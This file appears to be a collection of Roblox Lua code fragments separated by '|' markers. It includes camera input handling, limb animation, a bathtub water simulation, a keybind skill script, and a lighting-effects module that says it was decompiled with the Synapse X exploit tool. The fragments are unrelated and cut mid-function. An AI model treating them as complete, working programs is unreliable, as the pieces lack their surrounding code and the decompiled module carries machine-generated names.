OnMousePanButtonReleased(input, processed)
end
local function OnMouse3Down(input, processed)
if processed then return end
isMiddleMouseDown = true
OnMousePanButtonPressed(input, processed)
end
local function OnMouse3Up(input, processed)
isMiddleMouseDown = false
OnMousePanButtonReleased(input, processed)
end
local function OnMouseMoved(input, processed)
if not hasGameLoaded and VRService.VREnabled then
return
end
local inputDelta = input.Delta
inputDelta = Vector2.new(inputDelta.X, inputDelta.Y * GameSettings:GetCameraYInvertValue())
if startPos and lastPos and panBeginLook then
local currPos = lastPos + input.Delta
local totalTrans = currPos - startPos
if this.PanEnabled then
local desiredXYVector = this:MouseTranslationToAngle(inputDelta) * MOUSE_SENSITIVITY
this.RotateInput = this.RotateInput + desiredXYVector
end
lastPos = currPos
elseif this:IsInFirstPerson() or this:GetShiftLock() then
if this.PanEnabled then
local desiredXYVector = this:MouseTranslationToAngle(inputDelta) * MOUSE_SENSITIVITY
this.RotateInput = this.RotateInput + desiredXYVector
end
end
end
local function OnMouseWheel(input, processed)
if not hasGameLoaded and VRService.VREnabled then
return
end
if not processed then
if this.ZoomEnabled then
this:ZoomCameraBy(clamp(-1, 1, -input.Position.Z) * 1.4)
end
end
end
local function round(num)
return math_floor(num + 0.5)
end
local eight2Pi = math_pi / 4
local function rotateVectorByAngleAndRound(camLook, rotateAngle, roundAmount)
if camLook ~= ZERO_VECTOR3 then
camLook = camLook.unit
local currAngle = math_atan2(camLook.z, camLook.x)
local newAngle = round((math_atan2(camLook.z, camLook.x) + rotateAngle) / roundAmount) * roundAmount
return newAngle - currAngle
end
return 0
end
local function OnKeyDown(input, processed)
if not hasGameLoaded and VRService.VREnabled then
return
end
if processed then return end
if this.ZoomEnabled then
if input.KeyCode == Enum.KeyCode.I then
this:ZoomCameraBy(-5)
elseif input.KeyCode == Enum.KeyCode.O then
this:ZoomCameraBy(5)
end
end
if panBeginLook == nil and this.KeyPanEnabled then
if input.KeyCode == Enum.KeyCode.Left then
this.TurningLeft = true
elseif input.KeyCode == Enum.KeyCode.Right then
this.TurningRight = true
elseif input.KeyCode == Enum.KeyCode.Comma then
local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), -eight2Pi * (3/4), eight2Pi)
if angle ~= 0 then
this.RotateInput = this.RotateInput + Vector2.new(angle, 0)
this.LastUserPanCamera = tick()
this.LastCameraTransform = nil
end
elseif input.KeyCode == Enum.KeyCode.Period then
local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), eight2Pi * (3/4), eight2Pi)
if angle ~= 0 then
this.RotateInput = this.RotateInput + Vector2.new(angle, 0)
this.LastUserPanCamera = tick()
this.LastCameraTransform = nil
end
elseif input.KeyCode == Enum.KeyCode.PageUp then
--elseif input.KeyCode == Enum.KeyCode.Home then
this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(15))
this.LastCameraTransform = nil
elseif input.KeyCode == Enum.KeyCode.PageDown then
--elseif input.KeyCode == Enum.KeyCode.End then
this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(-15))
this.LastCameraTransform = nil
end
end
end
local function OnKeyUp(input, processed)
if input.KeyCode == Enum.KeyCode.Left then
this.TurningLeft = false
elseif input.KeyCode == Enum.KeyCode.Right then
this.TurningRight = false
end
end
local function onWindowFocusReleased()
this:ResetInputStates()
end
local lastThumbstickRotate = nil
local numOfSeconds = 0.7
local currentSpeed = 0
local maxSpeed = 6
local vrMaxSpeed = 4
local lastThumbstickPos = Vector2.new(0,0)
local ySensitivity = 0.65
local lastVelocity = nil
-- K is a tunable parameter that changes the shape of the S-curve
-- the larger K is the more straight/linear the curve gets
local k = 0.35
local lowerK = 0.8
local function SCurveTranform(t)
t = clamp(-1,1,t)
if t >= 0 then
return (k*t) / (k - t + 1)
end
return -((lowerK*-t) / (lowerK + t + 1))
end
-- DEADZONE
local DEADZONE = 0.1
local function toSCurveSpace(t)
return (1 + DEADZONE) * (2*math.abs(t) - 1) - DEADZONE
end
local function fromSCurveSpace(t)
return t/2 + 0.5
end
local function gamepadLinearToCurve(thumbstickPosition)
local function onAxis(axisValue)
local sign = 1
if axisValue < 0 then
sign = -1
end
local point = fromSCurveSpace(SCurveTranform(toSCurveSpace(math.abs(axisValue))))
point = point * sign
return clamp(-1, 1, point)
end
return Vector2_new(onAxis(thumbstickPosition.x), onAxis(thumbstickPosition.y))
end
function this:UpdateGamepad()
local gamepadPan = this.GamepadPanningCamera
if gamepadPan and (hasGameLoaded or not VRService.VREnabled) then
gamepadPan = gamepadLinearToCurve(gamepadPan)
local currentTime = tick()
if gamepadPan.X ~= 0 or gamepadPan.Y ~= 0 then
this.userPanningTheCamera = true
elseif gamepadPan == ZERO_VECTOR2 then
lastThumbstickRotate = nil
if lastThumbstickPos == ZERO_VECTOR2 then
currentSpeed = 0
end
end
local finalConstant = 0
if lastThumbstickRotate then
if VRService.VREnabled then
currentSpeed = vrMaxSpeed
else
local elapsedTime = (currentTime - lastThumbstickRotate) * 10
currentSpeed = currentSpeed + (maxSpeed * ((elapsedTime*elapsedTime)/numOfSeconds))
if currentSpeed > maxSpeed then currentSpeed = maxSpeed end
if lastVelocity then
local velocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate)
local velocityDeltaMag = (velocity - lastVelocity).magnitude
if velocityDeltaMag > 12 then
currentSpeed = currentSpeed * (20/velocityDeltaMag)
if currentSpeed > maxSpeed then currentSpeed = maxSpeed end
end
end
end
local success, gamepadCameraSensitivity = pcall(function() return GameSettings.GamepadCameraSensitivity end)
finalConstant = success and (gamepadCameraSensitivity * currentSpeed) or currentSpeed
lastVelocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate)
end
lastThumbstickPos = gamepadPan
lastThumbstickRotate = currentTime
return Vector2_new( gamepadPan.X * finalConstant, gamepadPan.Y * finalConstant * ySensitivity * GameSettings:GetCameraYInvertValue())
end
return ZERO_VECTOR2
end
local InputBeganConn, InputChangedConn, InputEndedConn, WindowUnfocusConn, MenuOpenedConn, ShiftLockToggleConn, GamepadConnectedConn, GamepadDisconnectedConn, TouchActivateConn = nil, nil, nil, nil, nil, nil, nil, nil, nil
function this:DisconnectInputEvents()
if InputBeganConn then
InputBeganConn:disconnect()
InputBeganConn = nil
end
if InputChangedConn then
InputChangedConn:disconnect()
InputChangedConn = nil
end
if InputEndedConn then
InputEndedConn:disconnect()
InputEndedConn = nil
end
if WindowUnfocusConn then
WindowUnfocusConn:disconnect()
WindowUnfocusConn = nil
end
if MenuOpenedConn then
MenuOpenedConn:disconnect()
MenuOpenedConn = nil
end
if ShiftLockToggleConn then
ShiftLockToggleConn:disconnect()
ShiftLockToggleConn = nil
end
if GamepadConnectedConn then
GamepadConnectedConn:disconnect()
GamepadConnectedConn = nil
end
if GamepadDisconnectedConn then
GamepadDisconnectedConn:disconnect()
GamepadDisconnectedConn = nil
end
if subjectStateChangedConn then
subjectStateChangedConn:disconnect()
subjectStateChangedConn = nil
end
if workspaceChangedConn then
workspaceChangedConn:disconnect()
workspaceChangedConn = nil
end
if TouchActivateConn then
TouchActivateConn:disconnect()
TouchActivateConn = nil
end
this.TurningLeft = false
this.TurningRight = false
this.LastCameraTransform = nil
self.LastSubjectCFrame = nil
this.UserPanningTheCamera = false
this.RotateInput = Vector2.new()
this.GamepadPanningCamera = Vector2.new(0,0)
-- Reset input states
startPos = nil
lastPos = nil
panBeginLook = nil
isRightMouseDown = false
isMiddleMouseDown = false
fingerTouches = {}
NumUnsunkTouches = 0
StartingDiff = nil
pinchBeginZoom = nil
-- Unlock mouse for example if right mouse button was being held down
if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
function this:ResetInputStates()
isRightMouseDown = false
isMiddleMouseDown = false
this.TurningRight = false
this.TurningLeft = false
OnMousePanButtonReleased() -- this function doesn't seem to actually need parameters
if UserInputService.TouchEnabled then
--[[menu opening was causing serious touch issues
this should disable all active touch events if
they're active when menu opens.]]
for inputObject, value in pairs(fingerTouches) do
fingerTouches[inputObject] = nil
end
panBeginLook = nil
startPos = nil
lastPos = nil
this.UserPanningTheCamera = false
StartingDiff = nil
pinchBeginZoom = nil
NumUnsunkTouches = 0
end
end
function this.getGamepadPan(name, state, input)
if state == Enum.UserInputState.Cancel then
this.GamepadPanningCamera = ZERO_VECTOR2
return
end
if input.UserInputType == this.activeGamepad and input.KeyCode == Enum.KeyCode.Thumbstick2 then
local inputVector = Vector2.new(input.Position.X, -input.Position.Y)
if inputVector.magnitude > THUMBSTICK_DEADZONE then
this.GamepadPanningCamera = Vector2_new(input.Position.X, -input.Position.Y)
else
this.GamepadPanningCamera = ZERO_VECTOR2
end
end
end
function this.doGamepadZoom(name, state, input)
if input.UserInputType == this.activeGamepad and input.KeyCode == Enum.KeyCode.ButtonR3 and state == Enum.UserInputState.Begin then
if this.ZoomEnabled then
if this:GetCameraZoom() > 0.5 then
this:ZoomCamera(0)
else
this:ZoomCamera(10)
end
end
end
end
function this:BindGamepadInputActions()
ContextActionService:BindAction("RootCamGamepadPan", this.getGamepadPan, false, Enum.KeyCode.Thumbstick2)
ContextActionService:BindAction("RootCamGamepadZoom", this.doGamepadZoom, false, Enum.KeyCode.ButtonR3)
end
function this:ConnectInputEvents()
InputBeganConn = UserInputService.InputBegan:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
OnTouchBegan(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
OnMouse2Down(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton3 then
OnMouse3Down(input, processed)
end
-- Keyboard
if input.UserInputType == Enum.UserInputType.Keyboard then
OnKeyDown(input, processed)
end
end)
InputChangedConn = UserInputService.InputChanged:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
OnTouchChanged(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseMovement then
OnMouseMoved(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseWheel then
OnMouseWheel(input, processed)
end
end)
InputEndedConn = UserInputService.InputEnded:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
OnTouchEnded(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
OnMouse2Up(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton3 then
OnMouse3Up(input, processed)
end
-- Keyboard
if input.UserInputType == Enum.UserInputType.Keyboard then
OnKeyUp(input, processed)
end
end)
WindowUnfocusConn = UserInputService.WindowFocusReleased:connect(onWindowFocusReleased)
MenuOpenedConn = GuiService.MenuOpened:connect(function()
this:ResetInputStates()
end)
workspaceChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(onCurrentCameraChanged)
if workspace.CurrentCamera then
onCurrentCameraChanged()
end
ShiftLockToggleConn = ShiftLockController.OnShiftLockToggled.Event:connect(function()
this:UpdateMouseBehavior()
end)
this.RotateInput = Vector2.new()
this.activeGamepad = nil
local function assignActivateGamepad()
local connectedGamepads = UserInputService:GetConnectedGamepads()
if #connectedGamepads > 0 then
for i = 1, #connectedGamepads do
if this.activeGamepad == nil then
this.activeGamepad = connectedGamepads[i]
elseif connectedGamepads[i].Value < this.activeGamepad.Value then
this.activeGamepad = connectedGamepads[i]
end
end
end
if this.activeGamepad == nil then -- nothing is connected, at least set up for gamepad1
this.activeGamepad = Enum.UserInputType.Gamepad1
end
end
GamepadConnectedConn = UserInputService.GamepadDisconnected:connect(function(gamepadEnum)
if this.activeGamepad ~= gamepadEnum then return end
this.activeGamepad = nil
assignActivateGamepad()
end)
GamepadDisconnectedConn = UserInputService.GamepadConnected:connect(function(gamepadEnum)
if this.activeGamepad == nil then
assignActivateGamepad()
end
end)
self:BindGamepadInputActions()
assignActivateGamepad()
-- set mouse behavior
self:UpdateMouseBehavior()
end
--Process tweens related to tap-to-recenter and double-tap-to-zoom
--Needs to be called from specific cameras on each update
function this:ProcessTweens()
for name, tween in pairs(tweens) do
local alpha = math.min(1.0, (tick() - tween.start)/tween.duration)
tween.to = tween.func(tween.from, tween.to, alpha)
if math.abs(1 - alpha) < 0.0001 then
tweens[name] = nil
end
end
end
function this:SetEnabled(newState)
if newState ~= self.Enabled then
self.Enabled = newState
if self.Enabled then
self:ConnectInputEvents()
self.cframe = workspace.CurrentCamera.CFrame
else
self:DisconnectInputEvents()
end
end
end
local function OnPlayerAdded(player)
player.Changed:connect(function(prop)
if this.Enabled then
if prop == "CameraMode" or prop == "CameraMaxZoomDistance" or prop == "CameraMinZoomDistance" then
this:ZoomCameraFixedBy(0)
end
end
end)
local function OnCharacterAdded(newCharacter)
local humanoid = findPlayerHumanoid(player)
local start = tick()
while tick() - start < 0.3 and (humanoid == nil or humanoid.Torso == nil) do
wait()
humanoid = findPlayerHumanoid(player)
end
if humanoid and humanoid.Torso and player.Character == newCharacter then
local newDesiredLook = (humanoid.Torso.CFrame.lookVector - Vector3.new(0, math.sin(math.rad(DEFAULT_CAMERA_ANGLE)), 0)).unit
local horizontalShift = findAngleBetweenXZVectors(newDesiredLook, this:GetCameraLook())
local vertShift = math.asin(this:GetCameraLook().y) - math.asin(newDesiredLook.y)
if not IsFinite(horizontalShift) then
horizontalShift = 0
end
if not IsFinite(vertShift) then
vertShift = 0
end
this.RotateInput = Vector2.new(horizontalShift, vertShift)
-- reset old camera info so follow cam doesn't rotate us
this.LastCameraTransform = nil
end
-- Need to wait for camera cframe to update before we zoom in
-- Not waiting will force camera to original cframe
wait()
this:ZoomCamera(this.DefaultZoom)
end
player.CharacterAdded:connect(function(character)
if this.Enabled or SetCameraOnSpawn then
OnCharacterAdded(character)
SetCameraOnSpawn = false
end
end)
if player.Character then
spawn(function() OnCharacterAdded(player.Character) end)
end
end
if PlayersService.LocalPlayer then
OnPlayerAdded(PlayersService.LocalPlayer)
end
PlayersService.ChildAdded:connect(function(child)
if child and PlayersService.LocalPlayer == child then
OnPlayerAdded(PlayersService.LocalPlayer)
end
end)
local function OnGameLoaded()
hasGameLoaded = true
end
spawn(function()
if game:IsLoaded() then
OnGameLoaded()
else
game.Loaded:wait()
OnGameLoaded()
end
end)
local function OnDynamicThumbstickEnabled()
if UserInputService.TouchEnabled then
isDynamicThumbstickEnabled = true
end
end
local function OnDynamicThumbstickDisabled()
isDynamicThumbstickEnabled = false
end
local function OnGameSettingsTouchMovementModeChanged()
if LocalPlayer.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice then
if GameSettings.TouchMovementMode.Name == "DynamicThumbstick" then
OnDynamicThumbstickEnabled()
else
OnDynamicThumbstickDisabled()
end
end
end
local function OnDevTouchMovementModeChanged()
if LocalPlayer.DevTouchMovementMode.Name == "DynamicThumbstick" then
OnDynamicThumbstickEnabled()
else
OnGameSettingsTouchMovementModeChanged()
end
end
if PlayersService.LocalPlayer then
PlayersService.LocalPlayer.Changed:Connect(function(prop)
if prop == "DevTouchMovementMode" then
OnDevTouchMovementModeChanged()
end
end)
OnDevTouchMovementModeChanged()
end
GameSettings.Changed:Connect(function(prop)
if prop == "TouchMovementMode" then
OnGameSettingsTouchMovementModeChanged()
end
end)
OnGameSettingsTouchMovementModeChanged()
GameSettings:SetCameraYInvertVisible()
pcall(function() GameSettings:SetGamepadCameraSensitivityVisible() end)
return this
end
return CreateCamera
|
-- same as jump for now
|
function moveFreeFall()
RightShoulder.MaxVelocity = jumpMaxLimbVelocity
LeftShoulder.MaxVelocity = jumpMaxLimbVelocity
RightShoulder:SetDesiredAngle(3.14)
LeftShoulder:SetDesiredAngle(-3.14)
RightHip:SetDesiredAngle(0)
LeftHip:SetDesiredAngle(0)
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder:SetDesiredAngle(3.14 /2)
LeftShoulder:SetDesiredAngle(-3.14 /2)
RightHip:SetDesiredAngle(3.14 /2)
LeftHip:SetDesiredAngle(-3.14 /2)
end
function getTool()
for _, kid in ipairs(Figure:GetChildren()) do
if kid.className == "Tool" then return kid end
end
return nil
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
RightShoulder:SetDesiredAngle(1.57)
return
end
if (toolAnim == "Slash") then
RightShoulder.MaxVelocity = 0.5
RightShoulder:SetDesiredAngle(0)
return
end
if (toolAnim == "Lunge") then
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightHip.MaxVelocity = 0.5
LeftHip.MaxVelocity = 0.5
RightShoulder:SetDesiredAngle(1.57)
LeftShoulder:SetDesiredAngle(1.0)
RightHip:SetDesiredAngle(1.57)
LeftHip:SetDesiredAngle(1.0)
return
end
end
function move(time)
local amplitude
local frequency
if (pose == "Jumping") then
moveJump()
return
end
if (pose == "FreeFall") then
moveFreeFall()
return
end
if (pose == "Seated") then
moveSit()
return
end
local climbFudge = 0
if (pose == "Running") then
if (RightShoulder.CurrentAngle > 1.5 or RightShoulder.CurrentAngle < -1.5) then
RightShoulder.MaxVelocity = jumpMaxLimbVelocity
else
RightShoulder.MaxVelocity = 0.15
end
if (LeftShoulder.CurrentAngle > 1.5 or LeftShoulder.CurrentAngle < -1.5) then
LeftShoulder.MaxVelocity = jumpMaxLimbVelocity
else
LeftShoulder.MaxVelocity = 0.15
end
amplitude = 1
frequency = 9
elseif (pose == "Climbing") then
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
amplitude = 1
frequency = 9
climbFudge = 3.14
else
amplitude = 0.1
frequency = 1
end
desiredAngle = amplitude * math.sin(time*frequency)
RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
RightHip:SetDesiredAngle(-desiredAngle)
LeftHip:SetDesiredAngle(-desiredAngle)
local tool = getTool()
if tool then
animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = time + .3
end
if time > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
toolAnim = "None"
toolAnimTime = 0
end
end
|
-------------------------
|
function onClicked()
Car.BodyVelocity.velocity = Vector3.new(0, 8, 0)
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
----- water handler -----
|
while true do
if script.Parent.HotOn.Value == true and script.Parent.ColdOn.Value == true and script.Parent.Plugged.Value == true and water.Scale.Y <= 0.6 then -- if BOTH ON and PLUGGED
water.Scale = water.Scale + Vector3.new(0, 0.01, 0)
water.Offset = Vector3.new(0, water.Scale.Y/2, 0)
hotWater = hotWater + 1
coldWater = coldWater + 1
drainSound:Stop()
elseif (script.Parent.HotOn.Value == true or script.Parent.ColdOn.Value == true) and script.Parent.Plugged.Value == true and water.Scale.Y <= 0.6 then -- if ON and PLUGGED
water.Scale = water.Scale + Vector3.new(0, 0.01, 0)
water.Offset = Vector3.new(0, water.Scale.Y/2, 0)
if script.Parent.HotOn.Value == true then
hotWater = hotWater + 1
else
coldWater = coldWater + 1
end
drainSound:Stop()
elseif (script.Parent.HotOn.Value == true or script.Parent.ColdOn.Value == true) and script.Parent.Plugged.Value == false and water.Scale.Y <= 0.6 then -- if ON and NOT PLUGGED
if script.Parent.HotOn.Value == true then
coldWater = coldWater - 1
else
hotWater = hotWater - 1
end
drainSound:Stop()
elseif (script.Parent.HotOn.Value == false and script.Parent.ColdOn.Value == false) and script.Parent.Plugged.Value == false and water.Scale.Y > 0 then -- if NOT ON and NOT PLUGGED
water.Scale = water.Scale + Vector3.new(0, -0.01, 0)
water.Offset = Vector3.new(0, water.Scale.Y/2, 0)
coldWater = coldWater - 1
hotWater = hotWater - 1
drainSound.TimePosition = 0
drainSound:Play()
end
if coldWater < 1 then
coldWater = 1
end
if hotWater < 1 then
hotWater = 1
end
waterTemp = hotWater/coldWater
if waterTemp > 1 then
water.Parent.SteamEmitter.Enabled = true
else
water.Parent.SteamEmitter.Enabled = false
end
wait(0.1)
if script.Parent.ColdOn.Value == true or script.Parent.HotOn.Value == true then
script.Parent.Splash.ParticleEmitter.Enabled = true
else
script.Parent.Splash.ParticleEmitter.Enabled = false
end
if water.Scale.Y <= 0 then
drainSound:Stop()
end
end
|
--[[
Performs a fold over the entries in the given dictionary.
]]
|
function Functional.FoldDictionary(dictionary, initial, callback)
local accum = initial
for key, value in pairs(dictionary) do
accum = callback(accum, key, value)
end
return accum
end
|
--- Skill
|
local UIS = game:GetService("UserInputService")
local plr = game.Players.LocalPlayer
local Mouse = plr:GetMouse()
local Debounce = true
Player = game.Players.LocalPlayer
Animation = Instance.new("Animation")
Animation.AnimationId = "rbxassetid://4835590095"
UIS.InputBegan:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.C and Debounce == true and Tool.Equip.Value == true and Tool.Active.Value == "None" then
Debounce = false
Tool.Active.Value = "FloorSand"
wait(0.1)
Track1 = Player.Character.Humanoid:LoadAnimation(Animation)
Track1:Play()
wait(0.15)
script.Fire:FireServer(plr)
local hum = Player.Character.Humanoid
for i = 1,30 do
wait()
hum.CameraOffset = Vector3.new(
math.random(-1,1),
math.random(-1,1),
math.random(-1,1)
)
end
hum.CameraOffset = Vector3.new(0,0,0)
wait(0.15)
Tool.Active.Value = "None"
wait(2)
Debounce = true
end
end)
|
--game.ReplicatedStorage.PurchaseCrate.OnClientEvent:connect(CrateOpen);
| |
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = {};
local l__LocalPlayer__2 = game.Players.LocalPlayer;
local u1 = nil;
function v1.init(p1)
u1 = p1;
end;
local l__TweenService__2 = game:GetService("TweenService");
function v1.flickerLights(p2, p3)
local u3 = p2;
spawn(function()
if typeof(u3) ~= "Instance" then
if typeof(u3) == "number" then
u3 = workspace.CurrentRooms:FindFirstChild(u3);
else
u3 = nil;
end;
end;
if u3 == nil then
warn("Cannot find room");
end;
local v3 = workspace.CurrentRooms[p2]:WaitForChild("Assets").Light_Fixtures;
--[[for v4, v5 in pairs(u3:GetDescendants()) do
if v5:IsA("Model") and (v5.Name == "LightStand" or v5.Name == "Chandelier") then
table.insert(v3, v5);
end;
end;]]
for v6, v7 in pairs(v3:GetDescendants()) do
for v8, v9 in pairs(v7:GetDescendants()) do
if v9:IsA("Light") then
v9:SetAttribute("B", v9.Brightness);
end;
end;
end;
l__TweenService__2:Create(game.Lighting, TweenInfo.new(p3 / 2, Enum.EasingStyle.Quart, Enum.EasingDirection.Out, 0, true), {
Ambient = Color3.new(0, 0, 0)
}):Play();
local v10 = tick();
for v11, v12 in pairs(v3:GetDescendants()) do
task.spawn(function()
for v13 = 1, 10000000 do
task.wait(math.random(24, 70) / 100);
if v10 + p3 <= tick() then
break;
end;
local v14 = v12.PrimaryPart:FindFirstChild("BulbZap", true);
if not v14 then
v14 = game:GetService("ReplicatedStorage").Sounds.BulbZap:Clone();
v14.Parent = v12.PrimaryPart;
end;
if v14 then
v14.TimePosition = math.random(0, 13) / 20;
v14.Pitch = v14.Pitch + math.random(-100, 100) / 5000;
v14:Play();
end;
for v15, v16 in pairs(v12:GetDescendants()) do
if v16:IsA("Light") then
v16.Brightness = v16:GetAttribute("B");
l__TweenService__2:Create(v16, TweenInfo.new(0.06, Enum.EasingStyle.Back, Enum.EasingDirection.InOut, 2, true, 0), {
Brightness = 0
}):Play();
end;
end;
local l__Neon__17 = v12:FindFirstChild("Neon", true);
if l__Neon__17 and l__Neon__17.Name == "Neon" then
l__TweenService__2:Create(l__Neon__17, TweenInfo.new(0.06, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, 2, true, 0), {
Transparency = 1
}):Play();
end;
end;
end);
end;
task.wait(p3 + 0.1);
for v18, v19 in pairs(v3:GetDescendants()) do
local v20, v21, v22 = pairs(v19:GetDescendants());
while true do
local v23, v24 = v20(v21, v22);
if not v23 then
break;
end;
if v24:IsA("Light") then
l__TweenService__2:Create(v24, TweenInfo.new(0.06, Enum.EasingStyle.Back, Enum.EasingDirection.InOut, 2), {
Brightness = v24:GetAttribute("B")
}):Play();
end;
if v24.Name == "Neon" then
l__TweenService__2:Create(v24, TweenInfo.new(0.06, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut, 2), {
Transparency = 0
}):Play();
end;
end;
end;
end);
end;
function v1.tryp(p4, p5)
spawn(function()
for v25, v26 in pairs(p4:GetDescendants()) do
if v26:IsA("BasePart") then
spawn(function()
local l__Material__27 = v26.Material;
v26.Color = Color3.new(0.2, 0, 0);
l__TweenService__2:Create(v26, TweenInfo.new(p5, Enum.EasingStyle.Quart, Enum.EasingDirection.In), {
Color = v26.Color
}):Play();
end);
end;
end;
end);
spawn(function()
for v28, v29 in pairs(p4:GetDescendants()) do
if v29:IsA("BasePart") and (v29.Name == "Wall" or v29.Name == "Wall_Strip" or v29.Name == "WallAlt" or v29.Name == "Floor" or v29.Name == "Carpet" or v29.Name == "Ceiling") then
local v30 = { Enum.NormalId.Front, Enum.NormalId.Back, Enum.NormalId.Right, Enum.NormalId.Left, Enum.NormalId.Top, Enum.NormalId.Bottom };
if v29.Name == "Wall" or v29.Name == "Wall_Strip" or v29.Name == "WallAlt" then
v30 = { Enum.NormalId.Front, Enum.NormalId.Back, Enum.NormalId.Right, Enum.NormalId.Left };
end;
if v29.Name == "Floor" or v29.Name == "Carpet" then
v30 = { Enum.NormalId.Top };
end;
if v29.Name == "Ceiling" then
v30 = { Enum.NormalId.Bottom };
end;
for v31, v32 in pairs(v30) do
local v33 = game:GetService("ReplicatedStorage").Misc.TryTexture:Clone();
v33.Face = v32;
v33.Parent = v29;
l__TweenService__2:Create(v33, TweenInfo.new(p5 + math.random(0, 100) / 500, Enum.EasingStyle.Linear, Enum.EasingDirection.Out), {
OffsetStudsU = 10,
OffsetStudsV = 10,
Transparency = 1
}):Play();
game.Debris:AddItem(v33, p5 + 1);
end;
end;
end;
end);
end;
function v1.turnOffLights(p6, p7)
local u4 = p6;
local u5 = p7;
spawn(function()
--[[or v34, v35 in pairs(u4:GetDescendants()) do
if v35:IsA("Light") and v35:GetAttribute("ToTurnOn") == true then
v35.Enabled = true;
end;
end;]]
wait(0.2);
u5 = 0.4;
if typeof(u4) ~= "Instance" then
if typeof(u4) == "number" then
u4 = workspace.CurrentRooms:FindFirstChild(u4);
else
u4 = nil;
end;
end;
if u4 == nil then
warn("Cannot find room");
end;
print(u4);
local v36 = workspace.CurrentRooms[p6]:WaitForChild("Assets").Light_Fixtures;
--[[for v37, v38 in pairs(u4:GetDescendants()) do
if v38:IsA("Model") and (v38.Name == "LightStand" or v38.Name == "Chandelier") then
table.insert(v36, v38);
end;
end;]]
for v39, v40 in pairs(v36:GetDescendants()) do
for v41, v42 in pairs(v40:GetDescendants()) do
if v42:IsA("Light") then
v42:SetAttribute("B", v42.Brightness);
end;
end;
end;
print("Hello everybody; my name is Markiplier, and here are the amount of light bulbs I own:", #v36);
l__TweenService__2:Create(game.Lighting, TweenInfo.new(4, Enum.EasingStyle.Quart, Enum.EasingDirection.InOut), {
Ambient = Color3.new(0, 0, 0)
}):Play();
local v43 = tick();
for v44, v45 in pairs(v36:GetDescendants()) do
task.spawn(function()
for v46 = 1, 10000000 do
task.wait(math.random(24, 70) / 100);
if v43 + u5 <= tick() then
break;
end;
local v47 = v45.PrimaryPart:FindFirstChild("BulbZap", true);
if not v47 then
v47 = game:GetService("ReplicatedStorage").Sounds.BulbZap:Clone();
v47.Parent = v45.PrimaryPart;
end;
if v47 then
v47.TimePosition = math.random(0, 13) / 20;
v47.Pitch = v47.Pitch + math.random(-100, 100) / 5000;
v47:Play();
end;
for v48, v49 in pairs(v45:GetDescendants()) do
if v49:IsA("Light") then
v49.Brightness = v49:GetAttribute("B");
l__TweenService__2:Create(v49, TweenInfo.new(0.06, Enum.EasingStyle.Back, Enum.EasingDirection.InOut, 2, true, 0), {
Brightness = 0
}):Play();
end;
end;
local l__Neon__50 = v45:FindFirstChild("Neon", true);
if l__Neon__50 and l__Neon__50.Name == "Neon" then
l__TweenService__2:Create(l__Neon__50, TweenInfo.new(0.06, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, 2, true, 0), {
Transparency = 1
}):Play();
end;
end;
end);
end;
task.wait(u5 + 0.6);
for v51, v52 in pairs(v36) do
local v53, v54, v55 = pairs(v52:GetDescendants());
while true do
local v56, v57 = v53(v54, v55);
if not v56 then
break;
end;
if v57:IsA("Light") then
v57.Brightness = 0.4;
l__TweenService__2:Create(v57, TweenInfo.new(math.random(1, 10) / 10, Enum.EasingStyle.Elastic, Enum.EasingDirection.InOut, 1), {
Brightness = 0
}):Play();
end;
if v57.Name == "Neon" then
v57.Material = Enum.Material.Glass;
end;
end;
end;
local v58, v59, v60 = pairs(u4:GetDescendants());
while true do
local v61, v62 = v58(v59, v60);
if not v61 then
break;
end;
if v62:IsA("Light") and v62:GetAttribute("ForceOn") ~= true then
v62.Brightness = 0.4;
l__TweenService__2:Create(v62, TweenInfo.new(math.random(1, 10) / 15, Enum.EasingStyle.Elastic, Enum.EasingDirection.InOut, math.random(0, 2)), {
Brightness = 0
}):Play();
end;
if v62:IsA("ParticleEmitter") and v62:GetAttribute("Light") == true then
v62.Enabled = false;
elseif v62:IsA("Sound") and v62:GetAttribute("Light") == true then
v62.Volume = 0;
v62:Stop();
end;
end;
end);
end;
local u6 = game:GetService("ReplicatedStorage").Shards:GetChildren();
function v1.breakLights(p8, p9, p10)
local u7 = p10;
spawn(function()
wait(0.1);
if not u7 then
u7 = 60;
end;
local v63 = {};
for v64, v65 in pairs(p8:GetDescendants()) do
